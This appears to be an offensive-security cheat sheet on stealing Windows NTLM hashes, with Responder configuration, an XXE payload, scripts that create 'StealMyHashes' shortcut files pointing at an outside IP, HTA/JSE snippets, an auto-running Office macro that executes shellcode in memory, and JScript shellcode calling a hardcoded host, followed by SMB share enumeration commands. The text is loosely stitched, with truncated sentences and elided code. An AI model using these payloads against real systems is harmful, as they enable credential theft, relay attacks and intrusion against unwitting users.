Responder is used to get user Hashes of users on the local network
Edit the Responder.conf file to look like the one below
[Responder Core]
; Servers to start
SQL = On
SMB = Off # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off # Turn this off
HTTPS = On
DNS = On
LDAP = On
Running Responder:
responder -I eth0 -wrfbdFP --lm
Responder.py -bwrd --lm -i IP
Generate IPs in Subnet that don’t have SMB Signing:
Relays authenticated NTLMv1 and NTLMv2 connections using HTTP, WebDav, Proxy and SMB authentications to an SMB server.
When the connections are made to the SMB server they try to spawn a Windows Service with a command shell.
This command shell allows an attacker to use the authentication of the original user to
This tool is used to quickly scan an IP range and get information about the Workstations.
Checking if SMBSigning is enabled:
root@lgandx:~/Responder-2.3.3.0# ./tools/RunFinger.py -g -i 10.10.20.0/24[10.10.20.41:'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False'][10.10.20.36:'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'False'][10.10.20.22:'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False'][10.10.20.43:'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False'][10.10.20.49:'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'True'][10.10.20.35:'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'False'][10.10.20.40:'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']....
In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.
<?xmlversion="1.0"encoding="ISO-8859-1"?><!DOCTYPEroot[<!ENTITYxxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith">
]><root><name></name><tel></tel><email>OUT&xxe;OUT</email><password></password></root>
I have written a complete post on MySQL out-of-band injections which can be applied over the internet. You can also use ‘INTO OUTFILE’ to resolve a network path.
Starting from Windows 7 this feature is disabled. However you can enable by changing the group policy for Autorun. Make sure to hide the Autorun.inf file to work.
The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes.
We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory.
Set shl = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
currentFolder = shl.CurrentDirectory
Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk"))
sc.TargetPath = "\\35.164.153.224\@OsandaMalith"
sc.WindowStyle = 1
sc.HotKey = "Ctrl+Alt+O"
sc.IconLocation = "%windir%\system32\shell32.dll, 3"
sc.Description = "I will Steal your Hashes"
sc.Save
The Powershell version.
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")
$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "I will Steal your Hashes"
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
You can apply this in html files too. But only works with IE. You can save this as something.hta which will be an HTML Application under windows, which mshta.exe will execute it. By default it uses IE.
You can apply the same in html files but only works with IE. Also you can save this as something.hta.
<html><scripttype="text/Jscript"><!--
var fso = new ActiveXObject("Scripting.FileSystemObject")
fso.FileExists("//192.168.0.103/aa")
//--></script></html>
Here’s the encoded version. You can save this as something.jse.
<package><jobid="boom"><scriptlanguage="VBScript">
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
</script></job></package>
Shellcode
Here’s a small shellcode I made. This shellcode uses CreateFile and tries to read a non-existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over the internet. SMBRelay attacks can also be performed.
Here’s the above shellcode applied inside a Word/Excel macro. You can use the same code inside a VB6 application.
' Author : Osanda Malith Jayathissa (@OsandaMalith)
' Title: Shellcode to request a non-existing network path
' Website: https://osandamalith
' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
' This is a word/excel macro. This can be used in vb6 applications as well
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
ByVal lpThreadAttributes As Long, _
ByVal dwStackSize As Long, _
ByVal lpStartAddress As LongPtr, _
lpParameter As Long, _
ByVal dwCreationFlags As Long, _
lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _
ByVal Destination As LongPtr, _
ByRef Source As Any, _
ByVal Length As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" ( _
ByVal lpThreadAttributes As Long, _
ByVal dwStackSize As Long, _
ByVal lpStartAddress As Long, _
lpParameter As Long, _
ByVal dwCreationFlags As Long, _
lpThreadId As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" ( _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" ( _
ByVal Destination As Long, _
ByRef Source As Any, _
ByVal Length As Long) As Long
#EndIf
Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40
Sub Auto_Open()
Dim source As Long, i As Long
#If Vba7 Then
Dim lpMemory As LongPtr, lResult As LongPtr
#Else
Dim lpMemory As Long, lResult As Long
#EndIf
Dim bShellcode(376) As Byte
bShellcode(0) = 232
bShellcode(1) = 255
bShellcode(2) = 255
bShellcode(3) = 255
bShellcode(4) = 255
bShellcode(5) = 192
bShellcode(6) = 95
bShellcode(7) = 185
bShellcode(8) = 85
bShellcode(9) = 3
bShellcode(10) = 2
bShellcode(11) = 2
bShellcode(12) = 129
bShellcode(13) = 241
bShellcode(14) = 2
bShellcode(15) = 2
bShellcode(16) = 2
.....................
lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
For i = LBound(bShellcode) To UBound(bShellcode)
source = bShellcode(i)
lResult = RtlMoveMemory(lpMemory + i, source, 1)
Next i
lResult = CreateThread(0, 0, lpMemory, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
subTee has done many kinds of research with JS and DynamicWrapperX. You can find a POC using the DynamicWrapperX DLL. DEAD LINK Replace with archive.org
Based on that I have ported the shellcode to JS and VBS. The fun part is we can embed shellcode in JScript or VBScript inside html and .hta formats.
Note the following shellcode directs to my IP.
JScript:
/*
* Author : Osanda Malith Jayathissa (@OsandaMalith)
* Title: Shellcode to request a non-existing network path
* Website: https://osandamalith.com
* Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
* Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04*/DX=newActiveXObject("DynamicWrapperX");DX.Register("kernel32.dll","VirtualAlloc","i=luuu","r=u");DX.Register("kernel32.dll","CreateThread","i=uullu","r=u");DX.Register("kernel32.dll","WaitForSingleObject","i=uu","r=u");varMEM_COMMIT=0x1000;varPAGE_EXECUTE_READWRITE=0x40;varsc=[0xe8,0xff,0xff,0xff,0xff,0xc0,0x5f,0xb9,0x55,0x03,0x02,0x02,0x81,0xf1,0x02,0x02,0x02,0x02,0x83,0xc7,0x1d,0x33,0xf6,0xfc,0x8a,0x07,0x3c,0x05,0x0f,0x44,0xc6,0xaa,0xe2,0xf6,0xe8,0x05,0x05,0x05,0x05,0x5e,0x8b,0xfe,0x81,0xc6,0x29,0x01,0x05,0x05,0xb9,0x02,0x05,0x05,0x05,0xfc,0xad,0x01,0x3c,0x07,0xe2,0xfa,0x56,0xb9,0x8d,0x10,0xb7,0xf8,0xe8,0x5f,0x05,0x05,0x05,0x68,0x31,0x01,0x05,0x05,0xff,0xd0,0xb9,0xe0,0x53,0x31,0x4b,0xe8,0x4e,0x05,0x05,0x05,0xb9,0xac,0xd5,0xaa,0x88,0x8b,0xf0,0xe8,0x42,0x05,0x05,0x05,0x6a,0x05,0x68,0x80,0x05,0x05,0x05,0x6a,0x03,0x6a,0x05,0x6a,0x01,0x68,0x05,0x05,0x05,0x80,0x68,0x3e,0x01,0x05,0x05,0xff,0xd0,0x6a,0x05,0xff,0xd6,0x33,0xc0,0x5e,0xc3,0x33,0xd2,0xeb,0x10,0xc1,0xca,0x0d,0x3c,0x61,0x0f,0xbe,0xc0,0x7c,0x03,0x83,0xe8,0x20,0x03,0xd0,0x41,0x8a,0x01,0x84,0xc0,0x75,0xea,0x8b,0xc2,0xc3,0x8d,0x41,0xf8,0xc3,0x55,0x8b,0xec,0x83,0xec,0x14,0x53,0x56,0x57,0x89,0x4d,0xf4,0x64,0xa1,0x30,0x05,0x05,0x05,0x89,0x45,0xfc,0x8b,0x45,0xfc,0x8b,0x40,0x0c,0x8b,0x40,0x14,0x89,0x45,0xec,0x8b,0xf8,0x8b,0xcf,0xe8,0xd2,0xff,0xff,0xff,0x8b,0x70,0x18,0x8b,0x3f,0x85,0xf6,0x74,0x4f,0x8b,0x46,0x3c,0x8b,0x5c,0x30,0x78,0x85,0xdb,0x74,0x44,0x8b,0x4c,0x33,0x0c,0x03,0xce,0xe8,0x96,0xff,0xff,0xff,0x8b,0x4c,0x33,0x20,0x89,0x45,0xf8,0x33,0xc0,0x03,0xce,0x89,0x4d,0xf0,0x89,0x45,0xfc,0x39,0x44,0x33,0x18,0x76,0x22,0x8b,0x0c,0x81,0x03,0xce,0xe8,0x75,0xff,0xff,0xff,0x03,0x45,0xf8,0x39,0x45,0xf4,0x74,0x1c,0x8b,0x45,0xfc,0x8b,0x4d,0xf0,0x40,0x89,0x45,0xfc,0x3b,0x44,0x33,0x18,0x72,0xde,0x3b,0x7d,0xec,0x75,0x9c,0x33,0xc0,0x5f,0x5e,0x5b,0xc9,0xc3,0x8b,0x4d,0xfc,0x8b,0x44,0x33,0x24,0x8d,0x04,0x48,0x0f,0xb7,0x0c,0x30,0x8b,0x44,0x33,0x1c,0x8d,0x04,0x88,0x8b,0x04,0x30,0x03,0xc6,0xeb,0xdf,0x21,0x05,0x05,0x05,0x50,0x05,0x05,0x05,0x6b,0x65,0x72,0x6e,0x65,0x6c,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x05,0x2f,0x2f,0x33,0x35,0x2e,0x31,0x36,0x34,0x2e,0x31,0x35,0x33,0x2e,0x32,0x32,0x34,0x2f,0x61,0x61,0x05];varscLocation=DX.VirtualAlloc(0,sc.length,MEM_COMMIT,PAGE_EXECUTE_READWRITE);for(vari=0;i<sc.length;i++)DX.NumPut(sc[i],scLocation,i);varthread=DX.CreateThread(0,0,scLocation,0,0);//https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js
DFS (Distributed File System) share can be used as a -StealthSource if user profiles are stored using
\CORP\PROFILE\H<username>\workstation
instead of
\SHARE_SERVER\PROFILE\H<username>\workstation
Correlating group membership information with active sessions:
smbclient -W"<domain>" -U"<username>%<password>" //<share-host>/<share-name># Use -L for listing only# Note sure why, but "smbclient -L //ip-address" may succeed where "smbclient -L //hostname" may fail... mount -t cifs -o sec=ntlmssp,username=<username>,pass=<password>,domain=<domain> //<share-ip>/<share-name> /mnt/<local-share-destination>/
Use the commands below if you can’t connect with SMB on a share (which you know is open). It’s possible the version is too recent so you have to specify SMB3.
$ smbclient -U CORP -L //192.168.56.101/C$/Tools WARNING: The "syslog" option is deprecatedEnter CORP's password:
protocol negotiation failed: NT_STATUS_CONNECTION_RESET
$ smbclient -U CORP -m SMB3 -L //192.168.56.101/C$/Tools
WARNING: The "syslog" option is deprecated
Enter CORP's password:Domain=[JOHN-PC]OS=[] Server=[]
Sharename Type Comment
--------------------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
print$ Disk Printer Drivers
Tools Disk
Users Disk
Connection to 192.168.56.101 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
NetBIOS over TCP disabled -- no workgroup available